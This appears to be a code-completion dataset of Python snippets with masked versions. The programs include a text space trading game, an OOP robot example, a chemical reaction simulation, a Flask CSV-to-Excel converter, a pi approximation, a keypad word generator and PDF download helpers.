<mask token> turnCounter = 0 def cleanScreen(): for i in range(0, 50): print('') def spacePirates(player): while True: cleanScreen() print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****') playerFirepower = player.getTotalFirepower() piratesFirepower = int(playerFirepower * (1 + random.randint(-20, 20) / 100)) if random.randint(0, playerFirepower ) > playerFirepower / 3 and random.randint(0, piratesFirepower ) < piratesFirepower / 3 or playerFirepower == 0: print('Damm, you got robbed by the pirates!') print('You lost all your cargo and half your money!') player.clearTech() player.clearFood() player.updateCargoUnits() player.setCredits(player.getCredits() / 2) else: print('Lucky you! Your fighters drove them off!') print('**********************************************************') input('Hit enter to continue') break def shipyardMenu(player, planet): while True: cleanScreen() print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****') player.printStats() print('**********************************************************') shipList = planet.getShipyard() print('Available Ships:') print('**********************************************************') i = 0 for s in shipList: print('Nr.:' + str(i) + ':' + s.toString()) i += 1 print('**********************************************************') userInput = input( 'Enter the number you would like to by or x to leave:') if userInput == 'x': break else: ui = int(userInput) if ui <= i: if player.getCredits() > shipList[ui].getPrice(): if type(shipList[ui]) == FighterShip: player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui]. getPrice()) player.updateMaintenance() del shipList[ui] else: print('wrong number, try again ....') def spacePortMenu(player, planet): global turnCounter while True: cleanScreen() print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****') print('Enter 1 to jump to a agri planet (risk 5%)') print('Enter 2 to jump to a tech planet (risk 10%)') print('Enter 3 to jump to a war planet (risk 20%)') userInput = input('Or enter x to exit:') risk = 0 if userInput == 'x': return planet elif userInput == '1': risk = 5 elif userInput == '2': risk = 10 else: risk = 20 if random.randint(0, 100) <= risk: spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True: cleanScreen() print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******') player.printStats() print('**********************************************************') market = planet.getMarket() print('Price for Food = ', market['Food']) print('Price for Tech = ', market['Tech']) print('**********************************************************') userInput = input('Enter 1 for Food, 2 for Tech or x for exit:') str = '' if userInput == '1': str = 'Food' elif userInput == '2': str = 'Tech' else: break print('**********************************************************') max = 0 if market[str] * player.freeCargoUnits <= player.getCredits(): max = player.freeCargoUnits else: max = int(player.getCredits() / market[str]) print('Price for ' + str + ' = ', market[str]) secondInput = input( 'Would you like to buy (enter b) or sell (enter s)?') if secondInput == 'b': print('You can buy a maximum of', max, 'units') nr = input('How much would you like to buy? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if player.getCredits() > market[str] * nr and nr <= max: if str == 'Food': player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str] * nr) player.updateCargoUnits() elif str == 'Food': print('You can sell a maximum of', player.getFood(), 'food units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getFood(): player.sellFood(nr) player.setCredits(player.getCredits() + nr * market['Food'] ) else: print('You can sell a maximum of', player.getTech(), 'tech units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getTech(): player.sellTech(nr) player.setCredits(player.getCredits() + nr * market['Tech'] ) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1, 3)) while notFinished: cleanScreen() if player.getCredits() < 0: print( 'Sorry, but you ran out of credits and therefore lost the game in round,' , turnCounter, '!') break print('**********************************************************') print('Turn nr.', turnCounter, 'in this glorious space trading simulation') player.printStats() print('**********************************************************') print('You are on Planet:', planet.getName()) print('**********************************************************') print('Enter 1 to go to the shipyard') print('Enter 2 to go to the market') print('Enter 3 to go to the spaceport') print('Enter exit to leave the game') userinput = input('Your Input:') if userinput == '1': shipyardMenu(player, planet) elif userinput == '2': marketMenu(player, planet) elif userinput == '3': planet = spacePortMenu(player, planet) else: notFinished = False print('***************************************') print(' Welcome to StarSim') print('***************************************') name = input('Please enter your Name:') player = Player.Player(name) menu(player)
<mask token> import Ship import Player import Planet import random from FighterShip import FighterShip turnCounter = 0 def cleanScreen(): for i in range(0, 50): print('') def spacePirates(player): while True: cleanScreen() print('*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****') playerFirepower = player.getTotalFirepower() piratesFirepower = int(playerFirepower * (1 + random.randint(-20, 20) / 100)) if random.randint(0, playerFirepower ) > playerFirepower / 3 and random.randint(0, piratesFirepower ) < piratesFirepower / 3 or playerFirepower == 0: print('Damm, you got robbed by the pirates!') print('You lost all your cargo and half your money!') player.clearTech() player.clearFood() player.updateCargoUnits() player.setCredits(player.getCredits() / 2) else: print('Lucky you! Your fighters drove them off!') print('**********************************************************') input('Hit enter to continue') break def shipyardMenu(player, planet): while True: cleanScreen() print('*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****') player.printStats() print('**********************************************************') shipList = planet.getShipyard() print('Available Ships:') print('**********************************************************') i = 0 for s in shipList: print('Nr.:' + str(i) + ':' + s.toString()) i += 1 print('**********************************************************') userInput = input( 'Enter the number you would like to by or x to leave:') if userInput == 'x': break else: ui = int(userInput) if ui <= i: if player.getCredits() > shipList[ui].getPrice(): if type(shipList[ui]) == FighterShip: player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui]. getPrice()) player.updateMaintenance() del shipList[ui] else: print('wrong number, try again ....') def spacePortMenu(player, planet): global turnCounter while True: cleanScreen() print('****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****') print('Enter 1 to jump to a agri planet (risk 5%)') print('Enter 2 to jump to a tech planet (risk 10%)') print('Enter 3 to jump to a war planet (risk 20%)') userInput = input('Or enter x to exit:') risk = 0 if userInput == 'x': return planet elif userInput == '1': risk = 5 elif userInput == '2': risk = 10 else: risk = 20 if random.randint(0, 100) <= risk: spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True: cleanScreen() print('*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******') player.printStats() print('**********************************************************') market = planet.getMarket() print('Price for Food = ', market['Food']) print('Price for Tech = ', market['Tech']) print('**********************************************************') userInput = input('Enter 1 for Food, 2 for Tech or x for exit:') str = '' if userInput == '1': str = 'Food' elif userInput == '2': str = 'Tech' else: break print('**********************************************************') max = 0 if market[str] * player.freeCargoUnits <= player.getCredits(): max = player.freeCargoUnits else: max = int(player.getCredits() / market[str]) print('Price for ' + str + ' = ', market[str]) secondInput = input( 'Would you like to buy (enter b) or sell (enter s)?') if secondInput == 'b': print('You can buy a maximum of', max, 'units') nr = input('How much would you like to buy? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if player.getCredits() > market[str] * nr and nr <= max: if str == 'Food': player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str] * nr) player.updateCargoUnits() elif str == 'Food': print('You can sell a maximum of', player.getFood(), 'food units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getFood(): player.sellFood(nr) player.setCredits(player.getCredits() + nr * market['Food'] ) else: print('You can sell a maximum of', player.getTech(), 'tech units') nr = input('How much would you like to sell? Or press x to exit') if nr == 'x': pass else: nr = int(nr) if nr <= player.getTech(): player.sellTech(nr) player.setCredits(player.getCredits() + nr * market['Tech'] ) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1, 3)) while notFinished: cleanScreen() if player.getCredits() < 0: print( 'Sorry, but you ran out of credits and therefore lost the game in round,' , turnCounter, '!') break print('**********************************************************') print('Turn nr.', turnCounter, 'in this glorious space trading simulation') player.printStats() print('**********************************************************') print('You are on Planet:', planet.getName()) print('**********************************************************') print('Enter 1 to go to the shipyard') print('Enter 2 to go to the market') print('Enter 3 to go to the spaceport') print('Enter exit to leave the game') userinput = input('Your Input:') if userinput == '1': shipyardMenu(player, planet) elif userinput == '2': marketMenu(player, planet) elif userinput == '3': planet = spacePortMenu(player, planet) else: notFinished = False print('***************************************') print(' Welcome to StarSim') print('***************************************') name = input('Please enter your Name:') player = Player.Player(name) menu(player)
''' Created on 17.05.2018 @author: markus ''' import Ship import Player import Planet import random from FighterShip import FighterShip turnCounter = 0 def cleanScreen(): for i in range(0,50): print("") def spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower while True:# loop cleanScreen() print("*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****") playerFirepower = player.getTotalFirepower() piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100)) if ((random.randint(0,playerFirepower) > playerFirepower/3) and (random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)): print("Damm, you got robbed by the pirates!") print("You lost all your cargo and half your money!") player.clearTech() player.clearFood() player.updateCargoUnits() player.setCredits(player.getCredits()/2) else: print("Lucky you! Your fighters drove them off!") print("**********************************************************") input("Hit enter to continue") break def shipyardMenu(player, planet): while True:# loop cleanScreen() print("*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****") player.printStats() print("**********************************************************") shipList = planet.getShipyard() print("Available Ships:") print("**********************************************************") i = 0 for s in shipList: print("Nr.:"+str(i)+":"+s.toString()) i += 1 print("**********************************************************") userInput = input("Enter the number you would like to by or x to leave:") if (userInput == "x"): break; else: ui = int(userInput) if (ui <= i): if(player.getCredits() > shipList[ui].getPrice()): #has enough money if(type(shipList[ui]) == FighterShip): player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui].getPrice()) player.updateMaintenance() del shipList[ui] else: print("wrong number, try again ....") def spacePortMenu(player, planet): global turnCounter while True:# loop cleanScreen() print("****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****") print("Enter 1 to jump to a agri planet (risk 5%)") print("Enter 2 to jump to a tech planet (risk 10%)") print("Enter 3 to jump to a war planet (risk 20%)") userInput = input("Or enter x to exit:") risk = 0 if (userInput == "x"): return planet elif (userInput == "1"): risk = 5 elif(userInput == "2"): risk = 10 else: risk = 20 if (random.randint(0,100) <= risk): spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True:# loop cleanScreen() print("*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******") player.printStats() print("**********************************************************") market = planet.getMarket() print("Price for Food = ",market["Food"]) print("Price for Tech = ",market["Tech"]) print("**********************************************************") userInput = input("Enter 1 for Food, 2 for Tech or x for exit:") str ="" if (userInput == "1"): str = "Food" elif(userInput == "2"): str= "Tech" else: break print("**********************************************************") max = 0 if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit? max = player.freeCargoUnits else: max = int(player.getCredits()/market[str]) print("Price for "+str+" = ",market[str]) secondInput = input("Would you like to buy (enter b) or sell (enter s)?") if (secondInput == "b"):#buying print("You can buy a maximum of",max,"units") nr = input("How much would you like to buy? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space if (str == "Food"): player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str]*nr) player.updateCargoUnits() else:#selling if (str == "Food"): print("You can sell a maximum of",player.getFood(),"food units") nr = input("How much would you like to sell? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if (nr <= player.getFood()): player.sellFood(nr) player.setCredits(player.getCredits() + nr*market["Food"]) else: print("You can sell a maximum of",player.getTech(),"tech units") nr = input("How much would you like to sell? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if (nr <= player.getTech()): player.sellTech(nr) player.setCredits(player.getCredits() + nr*market["Tech"]) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1,3)) while notFinished:#main game loop cleanScreen() if (player.getCredits() < 0): print("Sorry, but you ran out of credits and therefore lost the game in round,",turnCounter,"!") break print("**********************************************************") print("Turn nr.",turnCounter,"in this glorious space trading simulation") player.printStats() print("**********************************************************") print("You are on Planet:",planet.getName()) print("**********************************************************") print("Enter 1 to go to the shipyard") print("Enter 2 to go to the market") print("Enter 3 to go to the spaceport") print("Enter exit to leave the game") userinput = input("Your Input:") if (userinput == "1"): shipyardMenu(player, planet) elif (userinput == "2"): marketMenu(player, planet) elif (userinput == "3"): planet = spacePortMenu(player, planet) else: notFinished = False print("***************************************") print(" Welcome to StarSim") print("***************************************") name = input("Please enter your Name:") player = Player.Player(name) menu(player)
[ 4, 5, 8, 9, 10 ]
9,961
6b24c438ca7bb4c37ae356c18c562831767f0569
class Robot: def __init__(self, name): self.name = name <mask token> def say_hi_to_everybody(self): print('Hi to all objects :-)') class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print('Hi, Ich bin ' + self.name) <mask token>
class Robot: def __init__(self, name): self.name = name def say_hi(self): print("Hi, I'm from class Robot") print('Hi, Ich bin ' + self.name) def say_hi_to_everybody(self): print('Hi to all objects :-)') class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print('Hi, Ich bin ' + self.name) <mask token>
class Robot: def __init__(self, name): self.name = name def say_hi(self): print("Hi, I'm from class Robot") print('Hi, Ich bin ' + self.name) def say_hi_to_everybody(self): print('Hi to all objects :-)') class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print('Hi, Ich bin ' + self.name) <mask token> print(x, type(x)) x.say_hi() x.say_hi_to_everybody() print(y, type(y)) y.say_hi() y.say_hi_again() y.say_hi_to_everybody()
class Robot: def __init__(self, name): self.name = name def say_hi(self): print("Hi, I'm from class Robot") print('Hi, Ich bin ' + self.name) def say_hi_to_everybody(self): print('Hi to all objects :-)') class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print('Hi, Ich bin ' + self.name) name_1 = 'Marvin' name_2 = 'James' x = Robot(name_1) y = PhysicianRobot(name_2) print(x, type(x)) x.say_hi() x.say_hi_to_everybody() print(y, type(y)) y.say_hi() y.say_hi_again() y.say_hi_to_everybody()
class Robot: def __init__(self, name): self.name = name def say_hi(self): print("Hi, I'm from class Robot") print("Hi, Ich bin " + self.name) def say_hi_to_everybody(self): print("Hi to all objects :-)") class PhysicianRobot(Robot): def say_hi_again(self): print("Hi, I'm from sub-class PhysicianRobot") print("Hi, Ich bin " + self.name) name_1 = "Marvin" name_2 = "James" x = Robot(name_1) y = PhysicianRobot(name_2) print(x, type(x)) x.say_hi() x.say_hi_to_everybody() print(y, type(y)) y.say_hi() y.say_hi_again() y.say_hi_to_everybody()
[ 5, 6, 7, 8, 9 ]
9,962
87a1624707e4a113a35d975518e432277c851e41
<mask token>
<mask token> system.trajectories() <mask token> print('r is ' + str(r)) system.gillespieConcentrations(50000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r) <mask token> system.gillespieConcentrations(10000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
<mask token> reactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [- 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction( lambda X: 0.04 * X[0], [-1, 0])] system = ChemicalReactionsSystem(reactions, 2) system.trajectories() r = 1 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) print('r is ' + str(r)) system.gillespieConcentrations(50000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r) r = 10 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) system.gillespieConcentrations(10000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
from simulateChemicals import * reactions = [Reaction(lambda X: 1, [1, 0]), Reaction(lambda X: 2 * X[0], [- 1, 1]), Reaction(lambda X: 0.02 * X[0] ** 2 * X[1], [1, -1]), Reaction( lambda X: 0.04 * X[0], [-1, 0])] system = ChemicalReactionsSystem(reactions, 2) system.trajectories() r = 1 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) print('r is ' + str(r)) system.gillespieConcentrations(50000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r) r = 10 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) system.gillespieConcentrations(10000 * r) system.gillespieTrajectories([[0, 0], [4, 23]], 10000 * r)
#' % Computational Biology Lab 3 #' % Alois Klink #' % 18 May 2017 #' # Converting Reaction Equations to a ODE #' To convert many reaction equations to one ODE, one must first find the propensity #' and the changes of each reaction. #' The Reaction class takes a lambda function of the propensity and the change matrix #' as inputs. from simulateChemicals import * #' Here are the reaction formulas: #' #'* $\emptyset \overset{1}{\to} X$ #'* $X \overset{2}{\to} Y$ #'* $2 X + Y \overset{0.02}{\to} 3 X$ #'* $X \overset{0.04}{\to} \emptyset$ reactions = [Reaction(lambda X: 1, [1,0]), Reaction(lambda X: 2*X[0], [-1,1]), Reaction(lambda X: 0.02* X[0]**2 *X[1], [1,-1]), Reaction(lambda X: 0.04*X[0], [-1,0])] #' # Displaying the ODE #' The figure below shows how the system described by the above reactions #' behaves when modelled with an ODE. Notice that as X is being created, it is #' immediatly turned into Y. However, once Y passes a threshold point, and starts #' combining with X, due to the X^2 factor, X dramatically jumps up, rapidly #' converting all Y to X. Once Y runs out, X slowly begins to degrade to #' an equilibrium position. #+trajectories, caption='ODE Simulation Trajectories from 0 initialConditions' system = ChemicalReactionsSystem(reactions, 2) system.trajectories() #' # Gillespie's Algorithm #' The code below shows how the reaction changes when Gillespie's algorithm is #' used to simulate the reactions. Gillespie's algorithm can be reduced by a #' factor to increase the accuracy of the algorithm. This technically works by #' increasing the number of molecules, and speeding up reactions. However, these #' graphs have molecules split into pieces, which is not possible in the real world. r = 1 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) #' This shows how the cocentration changes over time. Notice that due the high #' randomness of the properties, the threshold point is reached much faster. As #' r increases, however, and the Gillespie's algorithm is reduced, the variance #' gets smaller and smaller, so that the threshold point is reached at the same #' time as the ODE. print("r is " + str(r)) system.gillespieConcentrations(50000*r) #' This shows how the cocentration X changes in relation to the concentrations Y. #' Notice that due the high randomness of the properties, the path is a lot tighter, #' and the stable point seems to be a lot lower. system.gillespieTrajectories([[0, 0], [4, 23]], 10000*r) #' # Reduction #' The following graphs have r = 10 r = 10 reactions = Reaction.rescaleReactions(reactions, r) system = ChemicalReactionsSystem(reactions, 2) #+caption='r = 10', width="15cm" system.gillespieConcentrations(10000*r) #+caption='r = 10', width="15cm" system.gillespieTrajectories([[0, 0], [4, 23]], 10000*r)
[ 0, 1, 2, 3, 4 ]
9,963
eb17de8828a600832253c4cfeeb91503b6876dd7
<mask token> def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower( ) in ALLOWED_EXTENSIONS <mask token> def process_file(path, filename): check_encoding(path, filename) def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit( '.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename. rsplit('.', 1)[0] + '.xlsx', as_attachment=True) <mask token>
<mask token> def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower( ) in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': if 'file' not in request.files: print('No file attached in request') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No file selected') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename ), filename) return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html') def process_file(path, filename): check_encoding(path, filename) def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit( '.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename. rsplit('.', 1)[0] + '.xlsx', as_attachment=True) if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port)
<mask token> UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/' DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/' ALLOWED_EXTENSIONS = {'csv', 'txt'} app = Flask(__name__, static_url_path='/static') DIR_PATH = os.path.dirname(os.path.realpath(__file__)) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024 def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower( ) in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': if 'file' not in request.files: print('No file attached in request') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No file selected') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename ), filename) return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html') def process_file(path, filename): check_encoding(path, filename) def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit( '.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename. rsplit('.', 1)[0] + '.xlsx', as_attachment=True) if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port)
import os from flask import Flask, request, redirect, url_for, render_template, send_from_directory from werkzeug.utils import secure_filename import chardet as chardet import pandas as pd UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/' DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/' ALLOWED_EXTENSIONS = {'csv', 'txt'} app = Flask(__name__, static_url_path='/static') DIR_PATH = os.path.dirname(os.path.realpath(__file__)) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024 def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower( ) in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': if 'file' not in request.files: print('No file attached in request') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No file selected') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename ), filename) return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html') def process_file(path, filename): check_encoding(path, filename) def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit( '.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename. rsplit('.', 1)[0] + '.xlsx', as_attachment=True) if __name__ == '__main__': port = int(os.environ.get('PORT', 5000)) app.run(host='0.0.0.0', port=port)
import os from flask import Flask, request, redirect, url_for, render_template, send_from_directory from werkzeug.utils import secure_filename import chardet as chardet import pandas as pd UPLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/uploads/' DOWNLOAD_FOLDER = os.path.dirname(os.path.abspath(__file__)) + '/downloads/' ALLOWED_EXTENSIONS = {'csv', 'txt'} app = Flask(__name__, static_url_path="/static") DIR_PATH = os.path.dirname(os.path.realpath(__file__)) app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER app.config['DOWNLOAD_FOLDER'] = DOWNLOAD_FOLDER # limit upload size upto 8mb app.config['MAX_CONTENT_LENGTH'] = 8 * 1024 * 1024 def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': if 'file' not in request.files: print('No file attached in request') return redirect(request.url) file = request.files['file'] if file.filename == '': print('No file selected') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) process_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), filename) return redirect(url_for('uploaded_file', filename=filename)) return render_template('index.html') def process_file(path, filename): check_encoding(path, filename) # with open(path, 'a') as f: # f.write("\nAdded processed content") def check_encoding(path, filename): with open(path, 'rb') as rawdata: result = chardet.detect(rawdata.read(10000)) df = pd.read_csv(path, encoding=result['encoding']) GFG = pd.ExcelWriter(app.config['DOWNLOAD_FOLDER'] + filename.rsplit('.', 1)[0] + '.xlsx') df.to_excel(GFG, index=False, encoding='utf-8') #output_stream = open(app.config['DOWNLOAD_FOLDER'] + 'output.xlsx', 'wb') #GFG.write(output_stream) GFG.save() @app.route('/uploads/<filename>') def uploaded_file(filename): return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename.rsplit('.', 1)[0] + '.xlsx', as_attachment=True) if __name__ == '__main__': port = int(os.environ.get("PORT", 5000)) app.run(host='0.0.0.0', port=port)
[ 4, 6, 7, 8, 9 ]
9,964
466148395a4141793b5f92c84513fd093876db76
<mask token>
<mask token> if number_of_terms >= 1: add_approximation = 0 for count in range(1, number_of_terms): approximation = (-1) ** (count + 1) / (2 * count - 1) add_approximation = approximation + add_approximation solution = add_approximation * 4 print('Approxiation of pi: %1.5f' % solution) else: print('The number of terms must be greater than zero.')
number_of_terms = int(input('How many terms? ')) number_of_terms = number_of_terms + 1 if number_of_terms >= 1: add_approximation = 0 for count in range(1, number_of_terms): approximation = (-1) ** (count + 1) / (2 * count - 1) add_approximation = approximation + add_approximation solution = add_approximation * 4 print('Approxiation of pi: %1.5f' % solution) else: print('The number of terms must be greater than zero.')
#-------------------------------------------------------- # File------------project2.py # Developer-------Paige Weber # Course----------CS1213-03 # Project---------Project #1 # Due-------------September 26, 2017 # # This program uses Gregory-Leibniz series to compute # an approximate value of pi. #-------------------------------------------------------- number_of_terms = int(input("How many terms? ")) number_of_terms = number_of_terms + 1 if number_of_terms >= 1: add_approximation = 0 for count in range (1, number_of_terms): approximation = (((-1)**(count + 1))/(2 * count - 1)) add_approximation = approximation + add_approximation solution = add_approximation * 4 print("Approxiation of pi: %1.5f"%solution) else: print("The number of terms must be greater than zero.")
null
[ 0, 1, 2, 3 ]
9,965
5f237a820832181395de845cc25b661878c334e4
<mask token>
<mask token> def possibleWords(a, N, index=0, s=''): if index == N: final.append(s) print(s, end=' ') return possible_chars = refer[a[0]] for i in possible_chars: s += i possibleWords(a[1:], N, index + 1, s) s = s[:-1]
final = [] refer = {(2): 'abc', (3): 'def', (4): 'ghi', (5): 'jkl', (6): 'mno', (7): 'pqrs', (8): 'tuv', (9): 'wxyz'} def possibleWords(a, N, index=0, s=''): if index == N: final.append(s) print(s, end=' ') return possible_chars = refer[a[0]] for i in possible_chars: s += i possibleWords(a[1:], N, index + 1, s) s = s[:-1]
final=[] refer={2:'abc',3:'def',4:'ghi',5:'jkl',6:'mno',7:'pqrs',8:'tuv',9:'wxyz'} ##Complete this function def possibleWords(a,N,index=0,s=''): ##Your code here if index==N: final.append(s) print(s, end=' ') return possible_chars=refer[a[0]] for i in possible_chars: s+= i possibleWords(a[1:],N,index+1,s) s=s[:-1]
null
[ 0, 1, 2, 3 ]
9,966
c6113088f45951bc4c787760b6ca0138265fb83f
<mask token> def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + '.pdf') open(file_path, 'wb').write(r.content) return file_path <mask token> def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
<mask token> def download_pdf(url, folder, name): r = requests.get(url, allow_redirects=True) file_path = join(folder, name + '.pdf') open(file_path, 'wb').write(r.content) return file_path def download_pdf_to_temp(url): new_file, filename = tempfile.mkstemp() r = requests.get(url, allow_redirects=True) os.write(new_file, r.content) return new_file, filename <mask token> def pdf_2_images(url, dest_path): new_file, filename = download_pdf_to_temp(url) save_pdf_image(filename, dest_path) os.close(new_file)
